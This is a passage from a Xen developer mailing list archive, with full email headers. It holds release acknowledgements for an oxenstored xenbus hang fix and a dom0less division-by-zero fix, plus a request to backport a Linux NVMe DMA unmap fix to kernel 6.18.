 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 03:48:53 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635c86csm6897739f8f.16.2026.07.14.03.48.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 03:48:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784026133; x=1784630933; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=G6eCwAGZ4bT7O7qmZlbt/xiVyQTXlJQN5N01JdQ4YrY=;
        b=V9X8r89/eaCLxJ90YXWcm3AECs2a8586G1F4IOJG4kEFYq5kQFVq1sS+pJGgCphCAu
         x1Xy+0ICT61YQc6StcHBsSJCo+52lTnlWEA9WCnaoRo777pGd1HSgCoIIR+R76elx8Yh
         o+uB5RqsYE89glK1068nv9YEq8VGEdD+pZ7sNUEfH9OEfjIZHUpoGXSAYhkAWrZl0qID
         vK0I5og+9st3+Uaoj6QBHZxz8EJkgFkU3Gph4Oe1zYD02epbIIFnV4vmbJa2mTtyk0rx
         KuvW87/9a2pw4lAKfjRZywcTcuibAloLhOJDyIad6BpHsAe+H3y3gmANVaOdK3X+RoPo
         oboA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784026133; x=1784630933;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=G6eCwAGZ4bT7O7qmZlbt/xiVyQTXlJQN5N01JdQ4YrY=;
        b=Q2rlD5WArB4QI6uOQWYRXsyqb4l/WvM/P/1PhEhDT3PeDPfG84JiowCBRQBz+ZWMg2
         79A+LGLWi0rKkae2H37euYhkJsVBzg6sNKvYG2NeLbG9nRemtwU0VHx140F7c7GBetWM
         4/HhMeywEPxvwh47q5lz0G9ehGCiQ5r9ZyVuU5fDcPAwg94Kb6ooisL2vOTxjpWGW7Jh
         zZ9xnuxERKd0bGJlOiv7mWhs0Nd8xKVOsfjG90Y9Zu81EG1HP9dj2/2xPvi5rQYuJcw0
         LCla0SY2+/wUzmQDnKmIERJRl5UItsLE4zeBFjRvgt3TpoYQp8os8kdMDsoV5zm0EjE3
         fpPQ==
X-Forwarded-Encrypted: i=1; AHgh+RrMYl/0U8ZjneL+ekzWXqKxR1S3+wO5FlEPdWk5/XDEHcAcnCDgCTtwTKP4zzKGuS9TEEGGkO0EumI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxqSeBl8qK+WxIXpzLTuh53gBde2CtiIt6mCellVpHS/s98bgHh
	jrTHMKz3lyBemtgaTvfFbfkcssUczpSKvye0ZIqwzYSL1Po0LU73a4/e
X-Gm-Gg: AfdE7ck16ZvaS4iCl+WHmwdApuhue35ord9ZB2JaCA44y0HU8UL8QXZ5WIS9UGu6R7V
	LOAlsl0Gx03yCZID+zSvv0BdfD7zezbOIxYHmAbrOmQq26zTA/VKHjI53qvu87Vz7KPxhi8lbvC
	ObaA9L1JvAnN9YoOyi07gc6HB84xz5oZDR+kes4j/oOacUtLdeZb/mp237dOGejCWFq7US+LLsF
	uQNEuxtMj6TxGKQwAeIguqcUuQHMqUZ+qP/jtT7NzwYjKl7eOWfpK+JlWj+bH9y0+d6xlc5C3uC
	26HJxSba3rDSNfEk7Tg5CgYs1j9qP8p6kbzTaRpHcE/RNjvNi72bB5wUYXKKcFtKNETqZIPFqzo
	AyROYneYYZgCa0m59l/kDqOOElVImPv030uDvpPvgtudjukWFsvubwrCMVY7ArwDLlap+bi9KGX
	W18ZczwDU8xy1xwqJtEeEhl6cffSuJGUI61Ixni4QDgupo+/IdzzZCCzyAqUUxiD/KRolwy6yPf
	ZN52A==
X-Received: by 2002:a05:6000:2209:b0:47e:1d2a:3b66 with SMTP id ffacd0b85a97d-47f2dcecd79mr13821030f8f.37.1784026132836;
        Tue, 14 Jul 2026 03:48:52 -0700 (PDT)
Message-ID: <fbd14ab6-a52e-4d73-a7ce-1ec59b2e504a@gmail.com>
Date: Tue, 14 Jul 2026 12:48:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 v1] tools/ocaml: xenbus - Fix handling of
 requests with len = 0 for socket connections
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Andrii Sultanov <andriy.sultanov@vates.tech>, xen-devel@lists.xenproject.org
Cc: Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>, George Dunlap <dunlapg@umich.edu>
References: <1783598431.8631fc262581453bbf619ec5b2062170.19f46c03b15000edb5@vates.tech>
 <8c265153-6774-4904-9791-9386c7018e11@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <8c265153-6774-4904-9791-9386c7018e11@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784026133-5A9D9CFC-E3CC1476/10/73395122804
X-purgate-type: spam
X-purgate-size: 1884



On 7/14/26 12:26 PM, Andrew Cooper wrote:
> On 09/07/2026 1:00 pm, Andrii Sultanov wrote:
>> Following the report at https://lore.kernel.org/xen-devel/CAFLBxZaeTMcF4tcV45MJdCVx4A6qbzQdjKei_Quh_iLrtARVFA@mail.gmail.com/
>>
>> Without this fix, the backend would be stuck waiting on the zero-sized
>> body until the next request comes in.
>>
>> Instead return the request immediately after reading the header, there's
>> no need to wait for another call to .has_more_input and .input
>>
>> Reported-by: George Dunlap <dunlapg@umich.edu>
>> Signed-off-by: Andrii Sultanov <andriy.sultanov@vates.tech>
> 
> Oleksii: I'm requesting a release ack on this patch.Â  It has been
> reviewed
> (1783604323.8631fc262581453bbf619ec5b2062170.19f471a22b0000edb5@vates.tech
> but on a disconnected thread).
> 
> There have been two bug reports so far; George (on list), and Benny (on
> Matrix).
> 
> It is logically a regression vs 4.21.Â  A new feature in 4.22 causes `xl
> list -l`, `xl migrate`, etc to hang when using the oxenstored rather
> than (C)xenstored.
> 
> There was no reply at first because the security team were investigating
> a potential security angle, but we've concluded that there isn't one.
> 
> Technically a form of this bug exists in 4.21 also, but it's not used
> automatically on any path.Â  It's triggerable by `xl list -x` and nothing
> else we're aware of.
> 
> Anyway, oxenstored is the default xenstored if you have Ocaml tools in
> the build, so this is a critical bug in 4.22.

I think this could reasonably be considered a critical bug. It affects a 
default Xen configuration (when OCaml tools are enabled and oxenstored 
is used) and causes core `xl` operations such as `xl list -l` and `xl 
migrate` to hang indefinitely. So:

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:58:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:58:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362195.1614097 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaqg-00024o-0a; Tue, 14 Jul 2026 10:58:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362195.1614097; Tue, 14 Jul 2026 10:58:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaqf-00024h-TK; Tue, 14 Jul 2026 10:58:49 +0000
Received: by outflank-mailman (input) for mailman id 1362195;
 Tue, 14 Jul 2026 10:58:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjaqe-00024b-EK
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:58:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjaqd-000fl4-6a
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:58:47 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a561657-2eae-0a2a0a5409dd-0a2a4506e86c-22
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:58:47 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a561666-195a-0a2a45060019-d155802bd003-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:58:47 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493bf73ec2aso28596145e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 03:58:47 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4950871e830sm66674095e9.2.2026.07.14.03.58.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 03:58:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784026726; x=1784631526; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Y3MknwqOTQ6hmtw8v/weN9rTs2W2tCuMX/vBAhVJnAs=;
        b=JZErH+hQ6oDu8+XAbios+g99vto71kYyWl5i2+Q17gMrOAhTAWVThkARBzvVDEZQIS
         KH77oQqzqoVz41FgytPa6FedfDgtWGzVQ0EmI0n7ASkJHIt8rvIduKbS2yuSlUGMCZd5
         ZO1cteaLRqlp9K89B6W52+8EEUGX4PgCrizlk5CrCLBkIrkbgvXbsAJdcP4OjZ6SkSz5
         oZtAoCv73uN8VIt/SlePwjXzYQkpIJXru0WHF6FTZEVE9mITWSalmoNpsPTOwp1n63v3
         pO1jY3how9fGlQkE8mmifUYO/xJQ4kaXPVsixE+R4Ll5PngTTkGad+j22JkwjkFuMZNq
         APHg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784026726; x=1784631526;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Y3MknwqOTQ6hmtw8v/weN9rTs2W2tCuMX/vBAhVJnAs=;
        b=DC04rMYnb6ScSIUZ8de9RZB6TYpn2+sfPll+QvoZg603iKA5BYgFeRdRO+dcM+chZK
         Ip9fiSSkHCN0Xsx0bZTdgBCn0pwXcC6pPwsM9HXQsVlJu1guTwIHDBctJSC+e13Daqj/
         NH0Wh9NkjgN1Z/qlJKL95+iQ95/pby/6KJExjOgCj/oPH+LL7IQm17xBiXT8EzketDwL
         nvXI2DDWbJNStU03MN94PYOIyHsuAOcje7OHcO9ep0c0Yo0N0oXDplRVXoZHHoY/nLAE
         y2e2PhAh/sj79bwBv3d7KIXWBN5dxIvVYVuv1lPux8asmIhnXCIP5B1njnIbmLHNCTEG
         N95Q==
X-Forwarded-Encrypted: i=1; AHgh+RqWm9yfCEyLkTLWHSjGPtI1b1cNEuk5NUdjgZ/+ysgq7ur0sv0AU996gIQgtbInVTl+Y49qQh/0+uU=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx6OogJMMI9HkHkWey55fAOcoezHxI1+xActDQUD/rRlCLGCgTh
	aVdnemd4VbXrg/lP5bHWMuQpKroofIAdMA1KmSMaYfsIjEyO4iJzuUbB
X-Gm-Gg: AfdE7ckJq6zhkr7aMRPUHLMyTcmfjgqUTHgqIeTNMWx44dFaVQSl6omuRprCByMfqjn
	fPIeTo2VD63TgB2lnKfzsNSUoQtzO+MbCgBdwtJqZVKPlRjA0PoAxM+X/S/L6rGI7Puu53I3W3z
	o1NXCCfGYpxQl9CexR/IJ6BVPnV0w3jUJeOgD8emOETIVaxjwsO5OR11NfRiTZCh+UCo5h0Ejrv
	ElFlhRgqCtode+VJEBNONRNVgWY/6BRW+YAytE0DDNlbOeAOwDvNrJWPk9AA8fUTPKXH2FSXB2U
	4IAFx+GKZCR7nsgDSn3Y3HjWSZsiBXktSsxdOO/l5/of/xCEj1gkJI7dn94NA9/CKo2oCtu4zmB
	smn6miNHa/PmaZ4FYgJJNJetJM9Jh/i1WB+6BUVV1VvfHaafEQ0QOpDxsgIfDQJhn9BagjRNK5s
	w3nc8p4Yr/eSDGsnY5zmOBU6xo4Swcx4cJSrl2FQ1F6ki/8ukUrQ//LubixO2fs9rTa7g=
X-Received: by 2002:a05:600c:4fca:b0:492:437a:a653 with SMTP id 5b1f17b1804b1-493f8826c59mr127268385e9.26.1784026726178;
        Tue, 14 Jul 2026 03:58:46 -0700 (PDT)
Message-ID: <45fec396-d0e6-47a6-bc79-c3e50922550f@gmail.com>
Date: Tue, 14 Jul 2026 12:58:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
 "Orzel, Michal" <michal.orzel@amd.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>
References: <351b89ba726d5524fd920cc28b7204d683fa8c43.1783856794.git.dmytro_prokopchuk1@epam.com>
 <e61f2f7e-4686-4566-8916-b22f38332786@amd.com>
 <ee26bcf6-ace8-470c-871d-95e20e4f0c9e@epam.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <ee26bcf6-ace8-470c-871d-95e20e4f0c9e@epam.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1784026727-FC20077B-5679E333/10/73395122804
X-purgate-type: spam
X-purgate-size: 371

Hello Dmytro, Michal,

On 7/13/26 11:44 AM, Dmytro Prokopchuk1 wrote:
> Hello Michal, Oleksii
> 
> Sorry, doing this v6... I just forgot to add "for-4.22".
> Please, include this patch into 4.22.

I think that the fix is pretty simple so we could consider to be in 4.22:
  Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 11:37:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 11:37:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362208.1614106 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjbRj-0007MT-Nl; Tue, 14 Jul 2026 11:37:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362208.1614106; Tue, 14 Jul 2026 11:37:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjbRj-0007MM-Jz; Tue, 14 Jul 2026 11:37:07 +0000
Received: by outflank-mailman (input) for mailman id 1362208;
 Tue, 14 Jul 2026 11:37:05 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wjbRh-0007MA-E9
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 11:37:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjbRe-00BJ8x-Aq
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 13:37:02 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a561f56-2eae-0a2a0a5409dd-0a2a45028e28-20
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 13:37:02 +0200
Received: from [202.12.124.144] (helo=fout-b1-smtp.messagingengine.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a561f5c-6ca4-0a2a45020019-ca0c7c90dcb5-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 13:37:01 +0200
Received: from phl-compute-05.internal (phl-compute-05.internal [10.202.2.45])
 by mailfout.stl.internal (Postfix) with ESMTP id 1D8331D00169;
 Tue, 14 Jul 2026 07:37:00 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-05.internal (MEProxy); Tue, 14 Jul 2026 07:37:00 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Tue,
 14 Jul 2026 07:36:57 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784029019;
	 x=1784115419; bh=7RbE0Nv3PqcWEvg1NZK6t1ZxnUn6Kyl+33LgQxDmYXI=; b=
	DIdZ3qJDNjFfCq4vVsWQ87xJiw3qZ5c7YL3vGL4qywkWZjEIN7uYZaZPgR1g5kWK
	zCwiJGs2kcDMs+kKUnEnt5+l4ZAYNe6+ixyMRLMvh/j35WEBZlh6nkyWov9CcQl9
	iFO4asR5sMES6GvXJHll6mWHJLZEyXfus6rkbxbjm/Rq1ZFRX75Tzef5cZ3Ydlyz
	CMjjUmWYkaX9K3qC6XknGqMr4hVpQEu6L8djFyjbR/Q9cX9Iau8UDzdFVBYEdSFC
	MkomefYe7mDOxVsoHS9jwp37FYFsLvuPPrmx7TgHeX9lKGcB5KmSlJ2RA+pBdmTa
	Yxk+oL0dQ/udPcMqbBWYhg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784029019; x=1784115419; bh=7RbE0Nv3PqcWEvg1NZK6t1ZxnUn6Kyl+33L
	gQxDmYXI=; b=Z1xmThv1CYV1tNrSnZEi0QiOlbH+i7cdpdojeV31lnk0o8tWWgw
	VuCcKnbphyhooTP1ke5JtxtCykYynYAgZDt2v5Oc/fZsNT25N1pLzjkMY1ZyPA8Q
	mOXHggO+0G8d3chlmhbJgfemnWyoUKTw9Jg9ZA/G1Ztmxj/iRDgGxwaBxSTLnAUT
	UmYFpbQ+DyTebINyw60T56YoaByJwORTvC3ybWlGQkShD58rHzK7Bryu8r8wG4cd
	KT9yICHSimzQ22YJ5mi3wuhccZ2n4nvoP5nBtEzgwSEu61B1oiGawwb9YAncUDUk
	05iz8nn//Dw7ZjraRfvZ9d+7Echhjez4JzQ==
X-ME-Sender: <xms:Wx9WauHLaHt_gupfLLE40lPICHUHoourcg8bHJ6R1w-k8ZB3RzE7fw>
    <xme:Wx9WavC2sU3qmnjz5XAdxkTFVgvmMnj-Em4YnBO3nV-C8CO0HLooevmK0eEOUtI-V
    PibthgL5grIeVdpTGDagMwFyWkNozDfvtahLCl1sf2ezE6r>
X-ME-Received: <xmr:Wx9WajwKv-bobG9As7YjRNvisWNxEcTNwnVpKSlIXLNW6jQrCrpKxDO9gVtsMTzeHFtlhSaKWYGS7EY4FrIuf-h_mCsJAtPrZUE>
X-ME-Proxy-Cause: dmFkZTEFCIzIQMCd2MkWM2GVRPXPZcLLdFwqIvCqn7GNb/FgdSTRcwIq2bs70YB4KkszA0
    2Uu3wp1FwQ9/V4n2J5vOU4vaQRgdzlHw0yPwcCuCso7VIxmXCWYu8IUyjRtDnMApMYk63Q
    8YAp2R6L/gdWyVzjJB87R229XAVEhDPaYGFpcWlQAY4dDV31/3M34n7UFcBai4hWiu/l76
    kgXWXllMALS0ldoYIP/4pPVV6OAtxoGSSxcgVBT79/xhnOGimo4VmNFxG8cGmqmy6BJYYt
    cpa0mAteMx2JSNzl8dQSJVHtsmy/mpEFdof5T3KEXOGFqfC6F1gRed+oxwEL3Ys64vPppm
    IEgImoAdzdXUaJGEhUB8BBAixpojp7+95yQn1EnMWiQVVtkqNA+YQsajUpPkfAazrpFKUs
    Ax38yXkVmSI/xr2lCJ4OQnKslwH0zeLS0wNN5UZxT1ExwypRmjKdf8Rz4FVvv/RVxoekI9
    M8Y3Sdt1btLcUD3dmPWYSWxLvIpOe8hvsyPdBQLWEgUkhC5RYQ3/CbYW/allvTEPNUgywj
    IEhCg+ViWQhF6EhvLi9xgc5hqyVQsCgoEmDao6ceqs3QfuiRdJHbI3vZPXP3LwFfisEczt
    oMNSe68bgBKoH379/ecqFep3N7MwTcJu0IioGwoEwcB59EnXNjrYBSJANnKg
X-ME-Proxy: <xmx:Wx9Waj6HJ1HZy5pwxQMmH2l_QJSPJlgFBfNW-CIsuFaA-ZuaGhyMlw>
    <xmx:Wx9WakwcY3m5WIs76-FAIFGMVngiHN81kPKXOj8-RufKbZ5tvNLbVg>
    <xmx:Wx9WandveogwV-gWTqPYujKe2VvHtfP3RdF1wvcvqBjOQ_ycW5lAKA>
    <xmx:Wx9WapDKK83ncNPhj7-FAJLXBG9TPlkhPdMcFKoG_02C97GSFFWnXw>
    <xmx:Wx9WarWWotNXlr6sYu6OniZPRL6HhYOWATfOo8neVOEkPT05SnvjLu8m>
Feedback-ID: i1568416f:Fastmail
Date: Tue, 14 Jul 2026 13:36:55 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Keith Busch <kbusch@kernel.org>
Cc: Roger Pau Monne <roger.pau@citrix.com>, xen-devel@lists.xenproject.org,
	Jens Axboe <axboe@kernel.dk>,
	"Martin K. Petersen" <martin.petersen@oracle.com>,
	linux-nvme@lists.infradead.org, linux-kernel@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>, Sagi Grimberg <sagi@grimberg.me>,
	stable@vger.kernel.org
Subject: Re: [PATCH] nvme-pci: fix parameter order in nvme_free_sgls() call
Message-ID: <alYfV2l-7p4Y3eX-@mail-itl>
References: <20260127195907.34563-1-roger.pau@citrix.com>
 <aXokOX20HMD0E_PM@kbusch-mbp>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="G/yGk+MB9HjdayeF"
Content-Disposition: inline
In-Reply-To: <aXokOX20HMD0E_PM@kbusch-mbp>
X-purgate-ID: tlsNG-720697/1784029022-674BE2AC-F00AEF62/0/0
X-purgate-type: clean
X-purgate-size: 2391


--G/yGk+MB9HjdayeF
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Tue, 14 Jul 2026 13:36:55 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Keith Busch <kbusch@kernel.org>
Cc: Roger Pau Monne <roger.pau@citrix.com>, xen-devel@lists.xenproject.org,
	Jens Axboe <axboe@kernel.dk>,
	"Martin K. Petersen" <martin.petersen@oracle.com>,
	linux-nvme@lists.infradead.org, linux-kernel@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>, Sagi Grimberg <sagi@grimberg.me>,
	stable@vger.kernel.org
Subject: Re: [PATCH] nvme-pci: fix parameter order in nvme_free_sgls() call

On Wed, Jan 28, 2026 at 07:59:05AM -0700, Keith Busch wrote:
> On Tue, Jan 27, 2026 at 08:59:06PM +0100, Roger Pau Monne wrote:
> > The call to nvme_free_sgls() in nvme_unmap_data() has the sg_list and s=
ge
> > parameters swapped.  This wasn't noticed by the compiler because both s=
hare
> > the same type.  On a Xen PV hardware domain, and possibly any other
> > architectures that takes that path, this leads to corruption of the NVMe
> > contents.

On Wed, Jan 28, 2026 at 09:49:58AM +0100, Christoph Hellwig wrote:
> Reviewed-by: Christoph Hellwig <hch@lst.de>
>=20
> but maybe we can reword the subject to sound less harmless, e.g.:
>=20
> nvme-pci: DMA unmap the correct regions in nvme_free_sgls

On Wed, Jan 28, 2026 at 07:59:05AM -0700, Keith Busch wrote:
> Thanks, applied to nvme-6.19 with updated subject.

Hi,

I think this wants to be included in v6.18 too, as it also has the
faulty commit. And indeed, I do hit this issue when running 6.18.38.

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--G/yGk+MB9HjdayeF
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpWH1cACgkQ24/THMrX
1yyenAf9FWpkwva0hdfgfqEDIy6a/Hgllhx36/HeJWibLzeDbTJFYpwU8I+qDTRh
fFCn1CT9lYNxu4O0IFtCTBiktCI/J7aFuZXIvFak2viOU9Jc06fYF5q+dEgwnZm2
m/glL8tOsJDW9TCtxqzvn5Zvjb7eGZCqKZeQFQmlcDWgTsXLssyoTrYJBoK3EyKV
XqJooQme6+zH6s6S0ACyaBWq/5W6MmWsa6awJ2RlhDFOX3LgKjXY6TMAIXkCVjj5
VHOepitO3/fFqVu2QpICN89638kG9JCZsG53x/dUSVrtdpBVZhXVYkzMTT2ViDUu
P7FaNiGtA2F7sbx1kImZcp8q0pSQrA==
=7k8S
-----END PGP SIGNATURE-----

--G/yGk+MB9HjdayeF--


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 12:05:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 12:05:37 +0000
